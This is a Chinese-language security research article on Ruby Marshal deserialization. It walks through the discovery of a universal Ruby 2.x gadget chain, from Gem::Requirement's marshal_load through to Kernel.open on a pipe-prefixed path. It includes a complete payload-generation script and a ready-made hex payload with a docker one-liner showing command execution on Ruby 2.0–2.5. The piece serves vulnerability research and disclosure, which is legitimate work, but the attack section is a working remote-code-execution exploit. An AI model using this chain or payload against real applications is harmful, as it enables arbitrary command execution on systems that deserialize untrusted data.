Ruby語言存在反序列化漏洞導致Ruby 2.x任意命令執行
概述
本文主要講解Ruby程式語言任意反序列化的漏洞利用,同時釋出了一個公共通用的工具鏈,從而實現Ruby 2.x的任意命令執行。首先將詳細說明Ruby語言中存在的反序列化問題,然後講解Gadget鏈的發現過程,最後描述漏洞利用的方式。
背景
序列化是將物件轉換為一系列位元組的過程,隨後就可以將其通過網路傳輸,或者是儲存在檔案系統或資料庫中。這些位元組中包含重建原始物件所需的所有相關資訊。而這種重建的過程,就被稱為反序列化。每種程式語言都有其獨特的序列化格式,也有一些程式語言不將這一過程稱為序列化和反序列化。在Ruby中,該過程通常被稱為編組(Marshalling)和解組(Unmarshalling)。
Marshal類中包含類方法“dump”和“load”,其使用方式如下:
$ irb >> class Person >>attr_accessor :name >> end => nil >> p = Person.new => #<Person:0x00005584ba9af490> >> p.name = "Luke Jahnke" => "Luke Jahnke" >> p => #<Person:0x00005584ba9af490 @name="Luke Jahnke"> >> Marshal.dump(p) => "\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET" >> Marshal.load("\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET") => #<Person:0x00005584ba995dd8 @name="Luke Jahnke">
不受信任資料反序列化問題
儘管序列化物件是以不透明的二進位制格式進行傳輸,但如果開發人員錯誤的認為攻擊者無法檢視或篡改序列化物件,就會出現常見的安全漏洞。這樣一來,就可能導致儲存在物件內的任何敏感資訊(例如憑據、應用程式金鑰)被洩露給攻擊者。如果序列化物件中包含隨後用於許可權檢查的例項變數,那麼攻擊者可能會利用這一漏洞實現許可權提升。例如,有一個包含使用者名稱例項變數的User物件,該物件經過序列化後,可能被攻擊者篡改。攻擊者可以輕而易舉地修改序列化資料,並將username變數更改為較高許可權使用者的使用者名稱,例如admin。儘管這些攻擊方式非常強大,但它們具有高度上下文敏感性,並且從技術角度來看可能不會引起注意,所以我們在本文中不對其展開討論。
此外,程式碼重用攻擊也有可能發生,我們可以通過執行一些已知的可用程式碼(被稱為Gadget),從而實現諸如任意命令執行這樣的操作。由於反序列化可以將例項變數設定為任意值,因此攻擊者可以控制Gadget去操縱某些資料。這樣一來,也允許攻擊者使用Gadget來呼叫第二個Gadget,因為存在方法能夠呼叫儲存在例項變數中的物件。當一系列Gadget以這種方式連線在一起時,就被稱為一個Gadget鏈。
此前已有的Payload
不安全的反序列化是2017年OWASP十大最嚴重Web應用程式安全風險的第8名,但是,目前關於為Ruby構建Gadget鏈的技術細節還非常有限。我們可以在Phrack的文章《Attacking Ruby on Rails Applications》中得到非常多的參考,其中Phenoelit的joernchen在2.1節中描述了Charlie Somerville發現的Gadget鏈,它實現了任意程式碼執行。為簡潔起見,我們不再詳述該技術,只提出其先決條件如下:
1、必須安裝並載入ActiveSupport gem;
2、必須載入標準庫中的ERB(預設情況下,Ruby不會載入);
3、反序列化後,必須在反序列化物件上呼叫不存在的方法。
儘管這些先決條件會在絕大多數Ruby on Rails Web應用程式的上下文中實現,但實際上其他Ruby應用程式很少能夠實現這些先決條件。
因此,我們不再使用這個Payload,試圖跳脫出這些先決條件,尋找仍然可以實現任意程式碼執行的方法。
尋找Gadget
由於我們希望製造一個沒有依賴關係的Gadget,因此Gadget只能從標準庫中獲取。需要注意的是,並非所有的標準庫都會被預設載入,這也極大地限制了我們擁有的Gadget數量。舉例來說,我們在測試的Ruby 2.5.3中,發現預設載入了358個類,儘管數量很多,但經過仔細觀察後發現,其中有196個類沒有定義任何自己的例項方法。這些空類中的大多數都是Exception類的唯一命名子類,用於區分可以捕獲到的異常。
只擁有有限數量的可用類,我們就能更加輕鬆的找到用於增加已載入標準庫數量的Gadget或技術。其中的一種技術就是,當使用require呼叫另一個庫時,尋找相應的Gadget。這個過程非常有用,因為即使require在某個模組和(或)類的範圍內,它實際上也會汙染全域性名稱空間。
呼叫require(lib/rubygems.rb)的方法示例:
module Gem ... def self.deflate(data) require 'zlib' Zlib::Deflate.deflate data end ... End
如果上面的Gem.deflate方法包含在Gadget鏈中,那麼就會載入Ruby標準庫中的Zlib庫,如下所示。
被汙染的全域性名稱空間示例:
$ irb >> Zlib NameError: uninitialized constant Zlib ... >> Gem.deflate("") => "x\x9C\x03\x00\x00\x00\x00\x01" >> Zlib => Zlib
儘管標準庫中存在大量動態載入標準庫其他部分的情況,但如果已經在系統上安裝了第三方庫,那麼就會發現有一個例項正在嘗試載入第三方庫。
標準庫SortedSet載入第三方RBTree庫(lib/set.rb):
... class SortedSet < Set ... class << self ... def setup ... require 'rbtree'
在請求未安裝的庫(包括其他庫目錄)時,將會對眾多位置進行搜尋。當Ruby嘗試在沒有安裝RBTree的預設系統上載入RBTree時,來自strace的輸出內容如下:
$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl 1[pid32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) 2[pid32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) 3[pid32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) ... 129[pid32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 130[pid32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 131[pid32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 132[pid32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 133[pid32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 134[pid32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 135[pid32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 136[pid32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) ...
其中,有一個更加有用的Gadget,可以將攻擊者控制的引數傳遞給require。這一Gadget可以在檔案系統上載入任意檔案,從而可以使用標準庫中的任何Gadget,包括Charlie Somerville鏈中使用的ERB。儘管沒有識別出來允許完全控制require引數的Gadget,但我們可以在下面看到允許部分控制的Gadget示例:
module Digest def self.const_missing(name) # :nodoc: case name when :SHA256, :SHA384, :SHA512 lib = 'digest/sha2.so' else lib = File.join('digest', name.to_s.downcase) end begin require lib ...
上面的示例無法使用,因為const_missing從未被標準庫中的任何Ruby程式碼顯式呼叫。這並不奇怪,因為const_missing是一個掛鉤(Hook)方法,其定義是會在引用未定義的常量時呼叫它。那麼諸如@object.__send__(@method, @argument)的一個Gadget,允許使用任意引數呼叫任意物件的任意方法,顯然也允許呼叫上面的const_missing方法。既然我們已經擁有了如此強大的Gadget,那麼就不再需要擴充Gadget集,因為它已經可以單獨執行任意系統命令。
const_missing方法也可以作為呼叫const_get的結果來被呼叫。檔案lib/rubygems/package.rb定義的Gem::Package類中的digest方法是一個合適的Gadget,因為它在Digest模組上呼叫const_get,並能夠控制引數。但是,const_get的預設實現中會對字符集進行嚴格驗證,以防止在digest目錄之外發生遍歷。
另一種呼叫const_missing的方法是使用Digest::SOME_CONSTANT等程式碼隱式呼叫。但是,Marshal.load不會以呼叫const_missing的方式來執行常量解析。關於這一內容,可以在Ruby的#3511和#12731問題中找到更多解釋。
另一個Gadget也提供了對傳遞給require引數的部分控制,使用引數呼叫[]方法將會導致該引數包含在require引數中(lib/rubygems/command_manager.rb),具體如下所示:
class Gem::CommandManager def [](command_name) command_name = command_name.intern return nil if @commands[command_name].nil? @commands[command_name] ||= load_and_instantiate(command_name) end private def load_and_instantiate(command_name) command_name = command_name.to_s ... require "rubygems/commands/#{command_name}_command" ... end end ...
上面的示例並沒有實際使用,原因在於“_command”字尾,以及並沒有能夠識別允許階段的技術(即使用空位元組)。實際上,存在許多帶有“_command”字尾的檔案,但我們沒有對這些檔案進行進一步探索,因為我們發現有另外一種技術,可以增加可用的Gadget。
如下所示,Rubygem庫中廣泛使用了autoload方法:
module Gem ... autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder' autoload :ConfigFile,'rubygems/config_file' autoload :Dependency,'rubygems/dependency' autoload :DependencyList,'rubygems/dependency_list' autoload :DependencyResolver, 'rubygems/resolver' autoload :Installer,'rubygems/installer' autoload :Licenses,'rubygems/util/licenses' autoload :PathSupport,'rubygems/path_support' autoload :Platform,'rubygems/platform' autoload :RequestSet,'rubygems/request_set' autoload :Requirement,'rubygems/requirement' autoload :Resolver,'rubygems/resolver' autoload :Source,'rubygems/source' autoload :SourceList,'rubygems/source_list' autoload :SpecFetcher,'rubygems/spec_fetcher' autoload :Specification,'rubygems/specification' autoload :Util,'rubygems/util' autoload :Version,'rubygems/version' ... end
autoload的工作方式與require類似,但只在第一次訪問註冊的常量後才會載入指定檔案。由於這一特點,如果反序列化Payload中包含任何這些常量,都會載入相應的檔案。這些檔案本身還包含require和autoload語句,進一步增加了可以提供的Gadget的數量。
儘管在Ruby 3.0版本中,autoload將會被刪去,但隨著Ruby 2.5的釋出,標準庫中autoload的使用頻率有所增加。在這個git提交中,引用了使用autoload的新程式碼,其程式碼片段如下:
require 'uri/common' autoload :IPSocket, 'socket' autoload :IPAddr, 'ipaddr' module URI ...
為了探索標準庫中的這組可用的Gadget,我們使用以下程式碼,載入使用autoload註冊的每個檔案:
ObjectSpace.each_object do |clazz| if clazz.respond_to? :const_get Symbol.all_symbols.each do |sym| begin clazz.const_get(sym) rescue NameError rescue LoadError end end end end
在運行了上面的程式碼之後,我們針對可用於提供Gadget類的數量進行了新的統計,最終發現了959個已經載入的類,比此前的統計結果增加了658個。在其中,有511個類已經定義了至少一個例項方法。載入這些附加類的能力,為搜尋這些有用的Gadget提供了有利條件。
初始化Gadget並啟動
每個Gadget鏈的最開始,都有一個Gadget,它將在反序列化期間或反序列化之後自動呼叫。這是執行更多Gadget的初始入口點,其最終目標是實現任意程式碼執行,或發動其他攻擊。
理想的初始Gadget是在反序列化期間由Marshal.load自動呼叫的Gadget。這樣一來,就消除了反序列化後執行程式碼的任何機會,從而確保不被防禦機制發現。我們認為,在反序列化期間可能會自動呼叫Gadget,因為這是其他程式語言(例如PHP)中的一項功能。在PHP中,如果一個類具有定義的__wakeup方法,那麼在對該型別的物件進行反序列化的過程中,將會立即進行呼叫。閱讀相關的Ruby文件,我們會發現,如果一個類定義了一個marshal_load例項方法,那麼在對該類的一個物件進行反序列化時,就會呼叫該方法。
掌握了上述內容後,我們可以檢查每個載入的類,檢視它們是否具有marshal_load例項方法。我們編寫了一個Ruby指令碼來實現:
ObjectSpace.each_object(::Class) do |obj| all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods if all_methods.include? :marshal_load method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s puts obj puts "marshal_load defined by #{method_origin}" puts "ancestors = #{obj.ancestors}" puts end end
其他使用到的Gadget
在研究期間,我們發現了許多Gadget,但最終的鏈上只使用了其中的一小部分。為了簡潔起見,我們總結了一些有趣的內容:
結合呼叫快取方法的Gadget鏈,實現任意程式碼執行(lib/rubygems/source/git.rb):
class Gem::Source::Git < Gem::Source ... def cache # :nodoc: ... system @git, 'clone', '--quiet', '--bare', '--no-hardlinks', @repository, repo_cache_dir ... end ...
使to_i返回除預期的Integer物件之外的其他內容(lib/ipaddr.rb):
class IPAddr ... def to_i return @addr end ...
生成一個小型Gadget鏈,使反序列化進入無限迴圈:
module Gem class List attr_accessor :value, :tail end end $x = Gem::List.new $x.value = :@elttam $x.tail = $x class SimpleDelegator def marshal_dump [ :__v2__, $x, [], nil ] end end ace = SimpleDelegator.new(nil) puts Marshal.dump(ace).inspect
構建Gadget鏈
要構建Gadget鏈,第一步是需要構建待選marshal_load初始Gadget池,並確保它們能夠呼叫我們提供的物件的方法。由於在Ruby中“一切都是物件”,所以其中很可能包含每一個初始Gadget。我們對實現進行逐一檢查,並保證其中所有呼叫都設定為我們控制的物件的公共方法名稱,從而減少這個池的大小。理想情況下,常用的方法名稱應該有很多種不同的實現可供選擇。
對於我的Gadget鏈,我選擇了Gem::Requirement類,其實現如下所示,並且具有在任意物件上呼叫每個方法的能力:
class Gem::Requirement # 1) we have complete control over array def marshal_load(array) # 2) so we can set @requirements to an object of our choosing @requirements = array[0] fix_syck_default_key_in_requirements end # 3) this method is invoked by marshal_load def fix_syck_default_key_in_requirements Gem.load_yaml # 4) we can call .each on any object @requirements.each do |r| if r[0].kind_of? Gem::SyckDefaultKey r[0] = "=" end end end end
現在,已經能夠呼叫每一個方法,還需要對每個方法進行有效實現,從而讓我們更加接近命令執行。在查看了Gem::DependencyList(和mixin Tsort)的原始碼後,發現呼叫它的每個例項方法都會導致在它的@specs例項變數上呼叫sort方法。我們沒有發現sort方法呼叫所需的準確路徑,但可以使用以下命令驗證其行為,該命令使用Ruby中的stdlib Tracer類輸出源級別(Source Level)的執行跟蹤:
$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort' #0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:specs = @specs.sort.reverse
利用這種在任意物件陣列上呼叫sort方法的新功能,我們可以在任意物件上呼叫<=>方法(運算子)。這非常有用,因為Gem::Source::SpecificFile有一個<=>方法的實現,在呼叫時可以導致在其@spec例項變數上呼叫name方法,如下所示:
class Gem::Source::SpecificFile < Gem::Source def <=> other case other when Gem::Source::SpecificFile then return nil if @spec.name != other.spec.name # [1] @spec.version <=> other.spec.version else super end end end
我們最後要解決的問題,是在任意物件上呼叫name方法。因為Gem::StubSpecification上有一個name方法,它會呼叫其data方法,然後data方法再負責呼叫open方法,實質上是Kernel.open,它的例項變數@loaded_from將作為第一個引數,如下所示:
class Gem::BasicSpecification attr_writer :base_dir # :nodoc: attr_writer :extension_dir # :nodoc: attr_writer :ignored # :nodoc: attr_accessor :loaded_from attr_writer :full_gem_path # :nodoc: ... end class Gem::StubSpecification < Gem::BasicSpecification def name data.name end private def data unless @data begin saved_lineno = $. # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open. open loaded_from, OPEN_MODE do |file| ...
當第一個引數的第一個字元是“|”時,Kernel.open可用於執行任意命令。
生成Payload
我們編寫了以下指令碼,用於生成和測試之前描述的Gadget鏈:
#!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload)
以下單行Bash程式碼,驗證Payload是否已經針對空Ruby程序成功執行。經過嘗試,發現2.0-2.5版本受到漏洞的影響:
$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root)
結論
本文研究併發布了一個通用的Gadget鏈,用於在Ruby 2.0-2.5版本中實現命令執行。
正如本文所說明的那樣,Ruby標準庫的複雜知識,在構建反序列化Gadget鏈的過程中非常有用。在之後,有相當多的後續研究可以進行,包括嘗試如何在1.8和1.9版本也實現任意命令執行,以及覆蓋使用命令列引數–disable-all呼叫Ruby程序的例項。此外,也可以嘗試用JRuby和Rubinius等替代Ruby來實現。
我們已經對Fuzzing Ruby C擴充套件和使用AFL-Fuzz攻破Ruby的重組(Unmarshal)進行了一些研究,之後將會對其進行更深入的分析,包括人工程式碼審計。以下展示了marshal_load方法的原生代碼實現(使用C):
complex.c:rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1); iseq.c:rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1); random.c:rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1); rational.c:rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1); time.c:rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1); ext/date/date_core.c:rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1); ext/socket/raddrinfo.c:rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);
感謝大家的閱讀!